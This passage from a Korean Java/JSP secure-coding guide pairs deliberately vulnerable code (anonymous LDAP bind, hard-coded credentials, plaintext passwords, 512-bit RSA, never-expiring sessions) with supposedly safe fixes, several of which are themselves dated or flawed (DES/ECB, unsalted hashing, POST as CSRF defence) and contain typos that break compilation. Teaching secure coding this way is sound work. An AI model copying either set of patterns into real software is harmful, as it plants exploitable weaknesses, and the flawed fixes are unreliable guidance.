※ 프레임워크를 사용해서 취약점을 피할 수 있다. 예를 들면, JAAS Authorization Framework나 OWASP ESAPI Access Control 등이 인증 프레임워크로 사용 가능하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public void f(String sSingleId, int iFlag, String sServiceProvider, String sUid, String sPwd)
    {
2:      ……
3:      env.put(Context.INITIAL_CONTEXT_FACTORY, CommonMySingleConst.INITCTX);
4:      env.put(Context.PROVIDER_URL, sServiceProvider);
5:      // 익명으로 LDAP 인증을 사용
6:      env.put(Context.SECURITY_AUTHENTICATION, "none");
7:      env.put(Context.SECURITY_PRINCIPAL, sUid);
8:      env.put(Context.SECURITY_CREDENTIALS, sPwd);
9:      ……
```

외부의 입력인 name 값이 필터가 아닌 동적인 LDAP 질의문에서 사용자명으로 사용되었으며, 사용자 인증을 위한 별도의 접근제어 방법이 사용되지 않고 있다. 이는 anonymous binding을 허용하는 것으로 볼 수 있다. 따라서 임의 사용자의 정보를 외부에서 접근할 수 있게 된다.

■ 안전한 코드의 예 - JAVA

```
1:  public void f(String sSingleId, int iFlag, String sServiceProvider, String sUid, String sPwd)
    {
2:      ……
3:      env.put(Context.PROVIDER_URL, sServiceProvider);
4:      // 익명의 인증을 사용하지 않는다.
5:      env.put(Context.SECURITY_AUTHENTICATION, "simple");
6:      env.put(Context.SECURITY_PRINCIPAL, sUid);
7:      env.put(Context.SECURITY_CREDENTIALS, sPwd);
8:      ……
```

사용자 ID와 password를 컨텍스트에 설정한 후 접근하도록 접근제어를 사용한다.

■ 안전하지 않은 코드의 예 - JSP

```
1:  <%
2:  String username = request.getParameter("username");
3:  String password = request.getParameter("password");
4:  if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5:      throw new Exception("invalid username or password");
6:  }
7:
8:  String msgId = request.getParameter("msgId");
9:  if ( msgId == null ) {
10:     throw new MyException("데이터 오류");
11:   }
12:   Message msg = LookupMessageObject(msgId);
13:   if ( msg != null ) {
14:     out.println("From: " + msg.getUserName()");
15:     out.println("Subject: " + msg.getSubField()");
16:     out.println("\n" + msg.getBodyField()");
17:   }
18:   %>
```

인증이 성공적으로 끝나면, 어떤 메시지도 조회가능하다. 즉 타인의 메시지 정보를 볼 수가 있다.

■ 안전한 코드의 예 - JSP

```
1:  <%
2:  String username = request.getParameter("username");
3:  String password = request.getParameter("password");
4:  if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5:      throw new MyException("인증 에러");
6:  }
7:
8:  String msgId = request.getParameter("msgId");
9:  if ( msgId == null ) {
10:     throw new MyException("데이터 오류");
11:   }
12:   Message msg = LookupMessageObject(msgId);
13:
14:   if ( msg != null && username.equals(msg.getUserName()) ) {
15:     out.println("From: " + msg.getUserName()");
16:     out.println("Subject: " + msg.getSubField()");
17:     out.println("\n" + msg.getBodyField()");
18:   } else { throw new MyException("권한 에러"); }
19:   %>
```

인증한 사용자와 메시지 박스 사용자가 일치했을 경우, 해당 메시지를 조회하도록 한다.

라. 참고 문헌

[1] CWE-285 부적절한 인가 - http://cwe.mitre.org/data/definitions/285.html
CWE-219 웹 루트 아래 민감한 데이터 - http://cwe.mitre.org/data/definitions/219.html
[2] OWASP Top 10 2010 - (OWASP 2010) A8 Failure to Restrict URL Access
[3] SANS Top 25 2010 - (SANS 2010) Porus Defense - CWE ID 285 Improper Authorization
[4] NIST. "Role Based Access Control and Role Based Security"
[5] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002

3. 사이트 간 요청 위조(Cross-Site Request Forgery (CSRF))

가. 정의

CSRF 공격은 악의적인 웹 사이트가 사용자의 웹 브라우져로 하여금 신뢰하는 사이트에서 원치 않는 행동을 취하도록 할 때 발생한다. 공격자는 사용자가 인증한 세션이 특정 동작을 수행하여도 계속 유지되어 정상적인 요청과 비정상적인 요청을 구분하지 못하는 점을 악용하여 피해가 발생한다.

웹 응용프로그램에 요청을 전달할 경우, 해당 요청의 적법성을 입증하기 위하여 전달되는 값이 고정되어 있고 이러한 자료가 GET 방식으로 전달된다면 공격자가 이를 쉽게 알아내어 원하는 요청을 보냄으로써 위험한 작업을 요청할 수 있게 된다.

나. 안전한 코딩기법

- form data posting에 있어서 POST 방식을 사용한다.
- OWASP CSRFGuard 등의 anti-CSRF 패키지를 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  <form name="MyForm" method="get" action="customer.do">
3:  <input type=text name="txt1">
4:  <input type=submit value="보내기">
5:  </form>
6:  ……
```

GET방식은 단순히 form 데이터를 URL 뒤에 덧붙여서 전송하기 때문에 GET 방식의 form을 사용하면 전달 값이 노출되므로 CSRF 공격에 쉽게 노출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  <form name="MyForm" method="post" action="customer.do">
3:  <input type=text name="txt1">
4:  <input type=submit value="보내기">
5:  </form>
6:  ……
```

Post 방식을 사용하여 위협을 완화한다.

라. 참고 문헌

[1] CWE-352 사이트 간 요청 위조 - http://cwe.mitre.org/data/definitions/352.html
[2] OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
[3] SANS Top 25 2010 - (SANS 2010) Insecure Interaction - CWE ID 352 Cross-Site Request Forgery

4. 적절하지 못한 세션 만료(Insufficient Session Expiration)

가. 정의

웹사이트에서 공격자가 인증에 사용된 기존 세션 인증 정보 또는 세션 아이디의 재사용을 허용하는 경우 발생한다.

나. 안전한 코딩기법

- 세션의 만료시간을 정해줄 때에는 적당한 양수를 사용하여 일정 시간이 흐르면 세션이 종료되도록 하여야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public class U613 extends HttpServlet {
2:      public void noExpiration(HttpSession session) {
3:          if (session.isNew()) {
4:          // 만료시간이 -1으로 세팅되어 세션이 절대로 끝나지 않는다.
5:              session.setMaxInactiveInterval(-1);
6:          }
7:      }
8:  }
```

세션의 만료시간을 -1로 세팅하여, 세션이 절대로 끝나지 않도록 설정했다. 이와 같은 경우는 프로그램에 취약점을 야기할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S613 extends HttpServlet {
2:      public void noExpiration(HttpSession session) {
3:          if (session.isNew()) {
4:          // 세션이 끝날 수 있도록 적절한 양의 정수값으로 설정한다.
5:              session.setMaxInactiveInterval(12000);
6:          }
7:      }
8:  }
```

애플리케이션의 특성에 따라 일정 시간이 흐르면 세션이 종료될 수 있도록 적당한 양의 정수값을 설정하여야 한다.

라. 참고 문헌

[1] CWE-613 적절하지 못한 세션 만료 - http://cwe.mitre.org/data/definitions/613.html

5. 패스워드 관리: 힙메모리 조사(Password Management: Heap Inspection)

가. 정의

보안상 중요한 데이터를 String 객체에 저장하면 보안상 위험하다. 자바의 String 객체는 수정불가능(immutable)하기 때문에, JVM의 가비지콜렉터가 동작하기 전까지 항상 메모리에 상주해 있으며, 프로그램에서 이 메모리를 해제할 수 없다. 따라서 애플리케이션의 실행이 비정상적으로 중단되어, 메모리 덤프가 일어나는 경우에 애플리케이션의 보안관련 데이터가 외부에 노출될 수 있다.

나. 안전한 코딩기법

- 패스워드를 String 객체에 저장하는 것은 위험하므로, 변경이 가능한 객체에 저장해야 한다. 또한 사용 후에는 내용을 메모리에서 소거해야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  // private static final long serialVersionUID = 1L;
3:  protected void doGet(HttpServletRequest request, HttpServletResponse response)
                                        throws ServletException, IOException {
4:      ……
5:  }
6:
7:  protected void doPost(HttpServletRequest request, HttpServletResponse response) {
8:      String pass = request.getParameter("pass");
9:
10:     if (pass != null) {
11:             if (-1 != pass.indexOf("<"))
12:                     System.out.println("bad input");
13:             else {
14:                     // 패스워드를 힙 메모리에 저장하면 취약하다.
15:                     String str = new String(pass);
16:             }
17:     } else {      System.out.println("bad    input");     }
18:  }
19:  ……
```

위 예제는 패스워드를 문자형 배열에서 String 타입으로 변형하여 저장함으로써 취약점이 발생한 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  // private static final long serialVersionUID = 1L;
3:  protected void doGet(HttpServletRequest request,
4:                  HttpServletResponse    response) throws ServletException, IOException {
5:      ……
6:  }
7:
8:  protected void doPost(HttpServletRequest request, HttpServletResponse response) {
9:      // 외부로 부터 입력을 받는다.
10:     String pass = request.getParameter("psw");
11:     // 입력값을 체크한다.
12:     if (pass != null) {
13:             if (-1 != pass.indexOf("<"))
14:                     System.out.println("bad input");
15:             else {
16:                     // password를 힙 메모리에 저장하지 않아야 한다..
17:                     // String str = new String(pass);
18:             }
19:         } else {        System.out.println("bad input");      }
20:  }
21:  ……
```

보안상 중요한 데이터(예: 패스워드)는 '변경이 가능한 객체'에 저장하여 사용해야 하며, 메모리에서 소거하는 로직을 구현해야 한다. 더 이상 사용되지 않는다면 즉시 메모리에서 소거해야 한다.

라. 참고 문헌

[1] CWE-226 해제 전에 삭제되지 않은 민감한 정보 - http://cwe.mitre.org/data/definitions/226.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

6. 하드코드된 사용자 계정(Hard-coded Username)

가. 정의

SW가 코드 내부에 고정된 사용자 계정 이름을 포함하고, 이를 이용하여 내부 인증에 사용하거나 외부 컴포넌트와 통신을 하는 것은 위험하다. 코드 내부에 하드코드된 사용자 계정이 인증 실패를 야기하게 되면, 시스템 관리자가 그 실패의 원인을 찾아내기가 매우 어렵다. 원인이 파악이 되더라도 하드코드된 패스워드를 수정해야 하기 때문에, 시스템 관리자는 SW 시스템 전체를 중지시켜 해결해야 하는 경우가 발생할 수 있다.

나. 안전한 코딩기법

- 패스워드는 암호화하여 사용하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  private Connection conn;
3:
4:  // 계정과 비밀번호를 상수로 정의하면 취약하다.
5:  public Connection DBConnect() {
6:      String url = "DBServer";
7:      String id = "scott";
8:      String password = "tiger";
9:
10:     try {
11:         conn = DriverManager.getConnection(url, id, password);
12:     } catch (SQLException e) {    ……    }
13:     return conn;
14: }
```

위 예제는 코드 내부에 사용자 이름과 패스워드를 상수로 설정하여, 별도의 인증 과정없이 로그인이 가능하도록 작성되었다. 이는 프로그램에 취약점을 야기시킨다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  private Connection conn;
3:
4:  // 계정과 비밀번호는 인자로 입력 받는다.
5:  public Connection DBConnect(String id, String password) {
6:      String url = "DBServer";
7:      try {
8:          String CONNECT_STRING = url + ":" + id + ":" + password;
9:          InitialContext ctx = new InitialContext();
10:         DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11:
12:         // 입력 받은 인자로 connection을 연결한다.
13:         conn = datasource.getConnection();
14:     } catch (SQLException e) {    ……    }
15:     return conn;
16: }
```

데이터베이스를 사용하는 프로그램 작성시 “빈 문자열”을 패스워드로 사용하는 계정이 존재하지 않도록 데이터베이스 계정을 관리한다. 또한, 사용자 계정 및 패스워드는 암·복호화하여 사용하거나 가능한 경우 필요시 사용자로부터 직접 입력 받아 사용한다.

라. 참고 문헌

[1] CWE-255 증명 관리 - http://cwe.mitre.org/data/definitions/255.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

[3] Security Technical Implementation Guide Version 3 - (STIG 3) APP3210.1 CAT II

7. 패스워드 평문 저장(Plaintext Storage of Password)

가. 정의

패스워드를 암호화되지 않은 텍스트의 형태로 저장하는 것은 시스템 손상의 원인이 될 수 있다. 환경설정 파일에 평문으로 패스워드를 저장하면, 환경설정 파일에 접근할 수 있는 사람은 누구나 패스워드를 알아낼 수 있다. 패스워드는 높은 수준의 암호화 알고리즘을 사용하여 관리되어져야 한다.

나. 안전한 코딩 기법

- 패스워드를 외부 환경 파일에 저장한다면, 암호화하여 저장하는 것이 바람직하다

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  package testbed.unsafe;
2:  import java.sql.*;
3:  import java.util.Properties;
4:  import java.io.*;
5:  public class U256 {
6:      public void f(String url, String name) throws IOException {
7:          Connection con = null;
8:          try {
9:              Properties props = new Properties();
10:             FileInputStream in = new FileInputStream("External.properties");
11:             byte[] pass = new byte[8];
12:             // 외부 파일로부터 password를 읽는다.
13:             in.read(pass);
14:         // password가 DB connection의 인자변수로 그대로 사용이 된다.
15:             con = DriverManager.getConnection(url, name, new String(pass));
16:             con.close();
17:         } catch (SQLException e) {
18:             System.err.println("SQLException Occured ");
19:         } finally {
20:             try {
21:                 if (con != null)
22:                     con.close();
23:             } catch (SQLException e) {
24:                 System.err.println("SQLException Occured ");
25:             }
26:         }
27:     }
28: }
```

위 프로그램은 속성 파일에서 읽어들인 패스워드를 String 형태 그대로 데이터베이스를 연결하는데 사용하고 있다. 사용자가 속성 파일에 공격을 위한 문자열을 저장한 경우, 프로그램이

의도한 공격에 노출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  package testbed.safe;
2:  import java.sql.*;
3:  import java.util.Properties;
4:  import java.io.*;
5:  public class S256 {
6:      public void f(String[] args) throws IOException {
7:          Connection con = null;
8:          try {
9:              Properties props = new Properties();
10:                 FileInputStream in = new FileInputStream("External.properties");
11:                 props.load(in);
12:                 String url = props.getProperty("url");
13:                 String name = props.getProperty("name");
14:                  // 외부 파일로부터 password를 읽은 후, 복호화 한다.
15:                  String pass = decrypt(props.getProperty("password"));
16:                 // 외부 파일로부터의 패스워드를 복호화 후 사용함.
17:                 con = DriverManager.getConnection(url, name, pass);
18:             } catch (SQLException e) {
19:                 System.err.println("SQLException Occured ");
20:             } finally {
21:                 try {
22:                     if (con != null)
23:                         con.close();
24:                 } catch (SQLException e) {
25:                     System.err.println("SQLException Occured ");
26:                 }
27:             }
28:     }
29: }
```

외부에서 입력된 패스워드는 사용 전에 복호화 후 사용되어야 한다.

라. 참고 문헌

[1]. CWE-256 패스워드 평문저장 - http://cwe.mitre.org/data/definitions/256.html

[2]. J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

8. 설정파일에 패스워드(Password in Configuration File)

가. 정의

패스워드를 설정파일에 저장하는 것은 위험하다. 설정파일 등에 패스워드를 암호화되지 않은 상태로 저장하게 되면, 암호가 외부에 직접적으로 드러날 위험성이 있다. 따라서, 패스워드는 쉽게 접근할 수 없는 저장소에 저장하든지 아니면 암호화한 상태로 저장하여야 한다.

나. 안전한 코딩 기법

- 패스워드를 외부 환경 파일에 저장한다면, 암호화하여 저장하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  package testbed.unsafe;
2:  import java.io.FileInputStream;
3:  import java.io.FileNotFoundException;
4:  import java.io.IOException;
5:  import java.sql.Connection;
6:  import java.sql.DriverManager;
7:  import java.sql.SQLException;
8:  public class U260 {
9:      public boolean connectTest(String url, String usr) {
10:      Connection con = null;
11:      byte[] b = new byte[1024];
12:      boolean result = false;
13:              try {
14:                  FileInputStream fs = new FileInputStream("sample.cfg");
15:                  // 외부데이터를 배열로 읽어온다.
16:                  fs.read(b);
17:                 // 패스워드 문자열을 만든다
18:                  String password = new String(b);
19:                 // 패스워드가 DB 연결정보로 사용이 된다.
20:                  con = DriverManager.getConnection(url, usr, password);
21:              } catch (FileNotFoundException e) {
22:                  System.err.println("File Not Found Exception Occurred!");
23:              } catch (IOException e) {
24:                  System.err.println("I/O Exception Occurred!");
25:              } catch (SQLException e) {
26:                  System.err.println("SQL Exception Occurred!");
27:              } finally {
28:                  try {
29:                      if (con != null) {
30:                          con.close();
```

```
31:                         result = true;
32:                     }
33:                 } catch (SQLException e) {
34:                     System.err.println("SQL Exception Occurred!");
35:                 }
36:             }
37:                     return result;
38:         }
39:     }
```

위의 프로그램은 configuration 파일에 저장된 패스워드를 읽어서 그대로 데이터베이스 연결에 사용하고 있다. 이것은 다른 사람이 패스워드에 쉽게 접근할 수 있도록 하므로 프로그램 취약점을 유발할 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public class S260 {
2:      public boolean connectTest(String url, String usr, Key key) {
3:          Connection con = null;
4:          byte[] b = new byte[1024];
5:          boolean result = false;
6:            try {
7:              FileInputStream fs = new FileInputStream("sample.cfg");
8:                if (fs == null || fs.available() <= 0) return false;
9:              // 외부 파일로 부터 암호화된 입력값을 받는다.
10:                         int length = fs.read(b);
11:                         if (length == 0) {
12:                     result = false;
13:                 } else {
14:                     // 암호화된 패스워드를 복호화한다.
15:                     Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
16:                     cipher.init(Cipher.DECRYPT_MODE, key);
17:                     byte[] db = cipher.doFinal(b);
18:                                 // 문자열 변환
19:                 String password = new String(db, "utf-8");
20:                                 // DB 연결
21:                     con = DriverManager.getConnection(url, usr, password);
22:                 }
23:             } catch (FileNotFoundException e) {
24:                 System.err.println("File Not Found Exception Occurred!");
25:             } catch (IOException e) {
26:                 System.err.println("I/O Exception Occurred!");
27:             } catch (SQLException e) {
28:                 System.err.println("SQL Exception Occurred!");
29:             } catch (NoSuchAlgorithmException e) {
30:                 System.err.println("NoSuchAlgorithmException Occurred!");
```

```
31:             } catch (NoSuchPaddingException e) {
32:                 System.err.println("NoSuchPaddingException Occurred!");
33:             } catch (InvalidKeyException e) {
34:                 System.err.println("InvalidKeyException Occurred!");
35:             } catch (IllegalBlockSizeException e) {
36:                 System.err.println("IllegalBlockSizeException Occurred!");
37:             } catch (BadPaddingException e) {
38:                 System.err.println("BadPaddingException Occurred!");
39:             }  finally {
40:                 try {
41:                     if (con != null) {
42:                         con.close();
43:                          result = true; } } catch (SQLException e) {
44:                      System.err.println("SQL Exception Occurred!");
45:                 }  }  return result;      } }
```

외부에 저장된 패스워드(예를 들어, 환경파일)를 데이터베이스 연결에 사용하는 경우, 읽어들인 패스워드를 검증하거나 추가적인 정보로 가공하는 로직을 거쳐서 사용해야 한다.

라. 참고 문헌

[1] CWE-260 설정파일에 패스워드 - http://cwe.mitre.org/data/definitions/260.html

[2]. J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

9. 패스워드에 사용된 취약한 암호화(Weak Cryptography for Passwords)

가. 정의

SW 개발자들은 환경설정 파일에 저장된 패스워드를 보호하기 위하여 간단한 인코딩 함수를 이용하여 패스워드를 감추는 방법을 사용하기도 한다. 그렇지만 base64와 같은 지나치게 간단한 인코딩 함수를 사용하는 것은 패스워드를 제대로 보호할 수 없다.

나. 안전한 코딩기법

- 패스워드를 인코딩하기 위해서는 이미 취약점이 알려진 인코딩 방법이나 검증되지 않은 인코딩 방법을 사용하면 안된다. 패스워드는 최소한 128비트 길이의 키를 이용하여 암호화하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      public boolean DBConnect() throws SQLException {
3:          String url = "DBServer";
4:          String usr = "Scott";
5:          Connection con = null;
6:
7:          try {
8:              Properties prop = new Properties();
9:              prop.load(new FileInputStream("config.properties"));
10:
11:             // 패스워드를 64bit로 decoding한다.
12:             byte password[] = Base64.decode(prop.getProperty("password"));
13:
14:             // 유효성 점검없이 패스워드를 문자열로 읽는다.
15:             con = DriverManager.getConnection(url, usr, password.toString());
16:         } catch (FileNotFoundException e) {
17:             e.printStackTrace();
18:         } catch (IOException e) {
19:             e.printStackTrace();
20:         }
21:     }
```

패스워드를 base64로 인코딩하여 configuration 파일에 저장한 경우이다. Basea64 인코딩 기법 자체가 가지는 취약점 때문에 이 경우 패스워드를 안전하게 보호할 수 없다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:      public boolean DBConnect() throws SQLException {
3:          String url = "DBServer";
4:          String usr = "Scott";
5:          Connection con = null;
6:
7:          try {
8:              Properties prop = new Properties();
9:              prop.load(new FileInputStream("config.properties"));
10:
11:             // 패스워드를 AES 알고리즘 기반의 복호화 코드로 암호화 한다.
12:             String password = decrypt(prop.getProperty("password"));
13:
14:             con = DriverManager.getConnection(url, usr, password);
15:         } catch (FileNotFoundException e) {
16:             e.printStackTrace();
17:         } catch (IOException e) {
18:             e.printStackTrace();
19:         }
20:     }
21:     private static String decrypt(String encrypted) throws Exception {
22:        SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
23:        Cipher cipher = Cipher.getInstance("AES");
24:        cipher.init(Cipher.DECRYPT_MODE, skeySpec);
25:        byte[] original = cipher.doFinal(hexToByteArray(encrypted));
26:        return new String(original);
27:     }
```

패스워드를 사용하는 경우에는 최소한 128비트 길이의 키를 이용하여 암호화하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-261 패스워드에 사용된 취약한 암호화 - http://cwe.mitre.org/data/definitions/261.html

[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

[3] J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

10. 중요한 함수 사용 시 자격인증 미비 (Missing Authentication for Critical Function)

가. 정의

사용자의 신원이 요구되는 기능이나 상당한 자원을 소모하는 기능을 사용할 때, SW가 사용자의 자격인증 과정을 수행하지 않게 된다.

나. 안전한 코딩기법

- 클라이언트의 보안검사를 우회하여 서버에 접근하지 못하도록 한다.
- 중요한 정보가 있는 페이지는 재인증이 적용되도록 설계하여야 한다(은행 계좌이체 등).

※ 안전하다고 확인된 라이브러리나 프레임워크를 사용한다. 즉 OpenSSL이나 ESAPI의 보안 기능을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  public void sendBankAccount(String accountNumber,double balance) {
2:      ...
3:      BankAccount account = new BankAccount();
4:      account.setAccountNumber(accountNumber);
5:      account.setToPerson(toPerson);
6:      account.setBalance(balance);
7:      AccountManager.send(account);
8:      ...
9:  }
```

재 인증을 거치지 않고 계좌 이체를 하고 있다.

■ 안전한 코드의 예 - JAVA

```
1:  public void sendBankAccount(HttpServletRequest request, HttpSession session,
2:                                  String accountNumber,double balance) {
3:      ...
4:      // 재인증을 위한 팝업 화면을 통해 사용자의 credential을 받는다.
5:      String newUserName = request.getParameter("username");
6:      String newPassword = request.getParameter("password");
7:      if ( newUserName == null || newPassword == null ) {
8:          throw new MyEception("데이터 오류:);
9:      }
10:
11:      // 세션으로부터 로긴한 사용자의 credential을 읽는다.
12:      String password = session.getValue("password");
13:      String userName = session.getValue("username");
14:
```

```
15:   // 재인증을 통해서 이체여부를 판단한다.
16:       if ( isAuthenticatedUser()   && newUserName.equal(userName)  &&
17:            newPassword.equal(password) ) {
18:            BankAccount account = new BankAccount();
19:            account.setAccountNumber(accountNumber);
20:            account.setToPerson(toPerson);
21:            account.setBalance(balance);
22:            AccountManager.send(account);
23:       }
24:       ...
25:   }
```

인증을 수행된 사용자만이 다시 재인증을 거쳐 계좌 이체가 가능하도록 한다.

라. 참고 문헌

[1] CWE-306 중요한 함수 사용시 자격인증 미비 - http://cwe.mitre.org/data/definitions/306.html
CWE-302 허위-불변 데이터로 인증우회 - http://cwe.mitre.org/data/definitions/302.html
CWE-307 과도한 인증 시도 제한실패 - http://cwe.mitre.org/data/definitions/307.html
CWE-287 부적절한 인가 - http://cwe.mitre.org/data/definitions/287.html
CWE-602 서버단 보안에 클라이언트단 보안강제 - http://cwe.mitre.org/data/definitions/602.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/

11. 취약한 암호화: 충분하지 못한 키의 길이 (Weak Encryption: Insufficient Key Size)

가. 정의

길이가 짧은 키를 사용하는 것은 암호화 알고리즘을 취약하게 만들 수 있다. 현재 RSA 알고리즘은 적어도 1024 비트 이상의 길이를 가진 키와 함께 사용해야 한다고 알려져 있다 . Symmetric 암호화의 경우에는 적어도 128비트 이상의 키를 사용하는 것이 바람직하다.

나. 안전한 코딩기법

- 최소한 1024 비트 이상의 키를 사용하는 것이 바람직하다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  ……
2:  public void target() throws NoSuchAlgorithmException {
3:      KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
4:      // Key generator의 불충분한 키 크기
5:      keyGen.initialize(512);
6:      KeyPair myKeys = keyGen.generateKeyPair();
7:  }
```

위 예제는 보안성이 강한 RSA 알고리즘을 사용함에도 불구하고, 키 사이즈를 작게 설정함으로써 프로그램의 취약점을 야기한 경우이다.

■ 안전한 코드의 예 - JAVA

```
1:  ……
2:  public void target() throws NoSuchAlgorithmException {
3:      KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
4:      // Key generator의 값은 최소 1024bit로 설정한다.
5:      keyGen.initialize(1024);
6:      KeyPair myKeys = keyGen.generateKeyPair();
7:   }
```

암호화에 사용하는 키의 길이는 적어도 1024비트 이상으로 설정한다.

라. 참고 문헌

[1] CWE-310 암호화 이슈 - http://cwe.mitre.org/data/definitions/310.html
[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage

12. 민감한 데이터의 암호화 실패(Missing Encryption of Sensitive Data)

가. 정의

중요한 민감한 데이터를 디스크에 저장하거나 외부 전송시, SW가 해당 데이터를 암호화하지 않을 경우 민감한 데이터가 노출될 수 있다.

나. 안전한 코딩기법

- 계좌번호, 신용카드번호, 패스워드 정보가 디스크에 출력 시 단반향 암호화 알고리즘을 사용하고, 해쉬 알고리즘은 SHA-256을 사용한다.
- SW 설계 시 민감한 데이터와 일반 데이터를 가능한 분리하도록 한다.
- 민감한 데이터가 네트워크를 통해 전송될 때, SSL 또는 HTTPS 등과 같은 Secure Channel을 사용한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:  String username = request.getParameter("username");
2:  String password = request.getParameter("password");
3:  PreparedStatement p=null;
4:  try {
5:      .....
6:      if (username==nill || password==null
7:          || !isAuthenticatedUser(usename, password)) {
8:              throw new MyException("인증 에러");
9:       }
10:     p = conn.prepareStatement("INSERT INTO employees VALUES(?,?)");
11:       p.setString(1,username);
12:       p.setString(2,password);
13:     p.execute();
14:      .....
15: }
```

인증을 통과한 사용자의 패스워드 정보가 평문으로 DB에 저장된다.

■ 안전한 코드의 예 - JAVA

```
1:  String username = request.getParameter("username");
2:  String password = request.getParameter("password");
3:  PreparedStatement p=null;
4:  try {
5:      .....
6:      if (username==nill || password==null
7:          || !isAuthenticatedUser(usename, password)) {
8:              throw new MyException("인증 에러");
```

```
9:        }
10:         MessageDigest md = MessageDigest.getInstance("SHA-256");
11:         md.reset();
12:         ......
13:     // 패스워드는 해쉬 함수를 이용하여 DB에 저장한다.
14:         password =md.digest(password.getBytes());
15:       p = conn.preparedStatement("INSERT INTO employees VALUES(?,?)");
16:         p.setString(1,username);
17:         p.setString(2,password);
18:       p.execute();
19:         ......
20:   }
```

패스워드 등 중요 데이터를 해쉬값으로 변환하여 저장한다.

라. 참고 문헌

[1] CWE-311 민감한 데이터의 암호화 실패 - http://cwe.mitre.org/data/definitions/311.html
CWE-312 민감한 정보 평문저장 - http://cwe.mitre.org/data/definitions/312.html
CWE-319 민감한 정보 평문전송 - http://cwe.mitre.org/data/definitions/319.html
CWE-614 HTTPS 세션내에 보안속성없는 민감한 쿠키 - http://cwe.mitre.org/data/definitions/614.html

[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/

13. 기밀 정보의 단순한 텍스트 전송 (Cleartext Transmission of Sensitive Information)

가. 정의

SW가 보안과 관련된 민감한 데이터를 명백한 텍스트의 형태로 통신 채널을 통해서 보내는 경우, 인증받지 않은 주체에 의해서 스니핑이 일어날 수 있다.

나. 안전한 코딩기법

- 민감한 정보를 통신 채널을 통하여 내보낼 때는 반드시 암호화 과정을 거쳐야 한다.

다. 예제

■ 안전하지 않은 코드의 예 - JAVA

```
1:      ……
2:      String getPassword()     {
3:            return "secret";
4:      }
5:
6:      void foo()  {
7:            try    {
8:                Socket socket = new Socket("taranis", 4444);
9:                PrintWriter out = new PrintWriter(socket.getOutputStream(),    true);
10:               String password = getPassword();
11:               out.write(password);
12:           } catch (FileNotFoundException e) {
13:               ……
14:     }
```

속성 파일에서 읽어들인 패스워드(Plain text)를 네트워크를 통하여 서버에 전송하고 있다. 이 경우 패킷 스니핑을 통하여 패스워드가 노출될 수 있다.

■ 안전한 코드의 예 - JAVA

```
1:      ……
2:      String getPassword()     {
3:              return "secret_password";
4:      }
5:
6:      void foo()  {
7:              try {
8:                  Socket socket = new Socket("taranis", 4444);
9:                  PrintStream out = new PrintStream(socket.getOutputStream(), true);
10:                 Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
11:                 String password = getPassword();
12:                 byte[] encryptedStr = c.update(password.getBytes());
13:                 out.write(encryptedStr, 0, encryptedStr.length);
14:             } catch (FileNotFoundException e) {
15:                 ……
16:     }
```

패스워드를 네트워크를 통하여 서버에 전송하기 전에 최소한 128비트 길이의 키를 이용하여 암호화하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-319 민감한 정보의 단순한 텍스트 전송 - http://cwe.mitre.org/data/definitions/319.html
CWE-311 민감한 데이터의 암호화 실패 - http://cwe.mitre.org/data/definitions/311.html

[2] OWASP Top 10 2007 - (OWASP 2007) A9 Insecure Communications

14. 하드코드된 암호화키 사용(Use of Hard-coded Cryptographic Key)

가. 정의

코드 내부에 하드코드된 암호화키를 사용하여 암호화를 수행하면 암호화된 정보가 유출될 가능성이 높아진다. 많은 SW 개발자들이 코드 내부의 고정된 패스워드의 해쉬를 계산하여 저장하는 것이 패스워드를 악의적인 공격자로부터 보호할 수 있다고 믿고 있다. 그러나 많은 해쉬 함수들이 역계산이 가능하며, 적어도 brute-force 공격에는 취약하다는 것을 고려해야만 한다.

나. 안전한 코딩기법

